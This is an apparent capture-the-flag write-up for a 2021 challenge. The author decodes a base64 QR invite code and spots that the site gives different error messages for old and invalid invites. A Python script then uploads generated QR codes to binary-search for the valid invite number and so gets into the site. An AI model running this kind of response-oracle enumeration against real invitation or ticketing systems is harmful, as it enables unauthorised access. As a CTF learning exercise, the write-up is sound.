Tags: base64 audio image-processing qr mp3 qrcode binary-search qr-code
Rating: 2.0
I cropped and perspective-corrected the photo provided with the challenge to focus on the QR code visible on the mobile screen to hopefully get a scanable QR code.
 
I frist tried uploading this QR code to the website with a fake email address to try and gain entry, but it responds with `Error: invite old!!`.
Scanning the QR code gives the characters `MzEzMzM3`. I searched this on Google to see if anything came up and noticed that it might be base64 encoded. Decoding the string gives the number 313337, possibly just an ticket number that goes sequentially?
I tried uploading other QR codes that I generated by base64 encoding other numbers and noticed low numbers would return `Error: invite old!` whilst high numbers would return `Error: invite invalid`. So my hunch was that there existed one number somewhere that would work, and we could use the different response to do a binary search for that number, and indeed this was the case! I include my script that does the search.
```python
import os, sys, shutil
from base64 import b64encode
import qrcode, io
import requests, time
headers = {
'Connection': 'keep-alive',
'Pragma': 'no-cache',
'Cache-Control': 'no-cache',
'Upgrade-Insecure-Requests': '1',
'Origin': 'https://thevillage.q.2021.ugractf.ru',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)',
'Accept': 'text/html',
'Referer': 'https://thevillage.q.2021.ugractf.ru/bc7d16cb2ab37a69',
'Accept-Language': 'en-GB,en;q=0.9,en-US;q=0.8',
}
url = 'https://thevillage.q.2021.ugractf.ru/bc7d16cb2ab37a69'
minm = 313337
maxm = 10000000
current = 313337
success = False
with requests.Session() as s:
while not success:
qr = qrcode.QRCode(
version=1,
error_correction=qrcode.constants.ERROR_CORRECT_M,
mask_pattern=6,
box_size=17,
border=1
)
qr.add_data(b64encode(bytes(str(current), 'latin-1')))
qr.make(fit=True)
img = qr.make_image(fill='black', back_color='white')
img_byte_arr = io.BytesIO()
img.save(img_byte_arr, format='PNG')
r = s.post(url, headers=headers, data=dict(email='[email protected]'), files=dict(invite=img_byte_arr.getvalue()))
if 'инвитик староват!!' in r.text:
print("{}: invite old!".format(current))
minm = current
current = minm + (maxm-minm)//2
elif 'недействительный' in r.text:
print("{}: invite invalid".format(current))
maxm = current
current = minm + (maxm-minm)//2
elif 'Вы что вообще заслали' in r.text:
print("{}: what did you even send?".format(current))
if current-1 > minm:
current = current-1
else:
current = (maxm-minm)//2+1
else:
print(r.text)
print('{}: success!'.format(current)) # 5084996
img.save('qr.png')
success = True
time.sleep(1.2) # to prevent 429 ban
```

Uploading this QR code with a random email then allows access to the website which includes an audio file that gives the flag.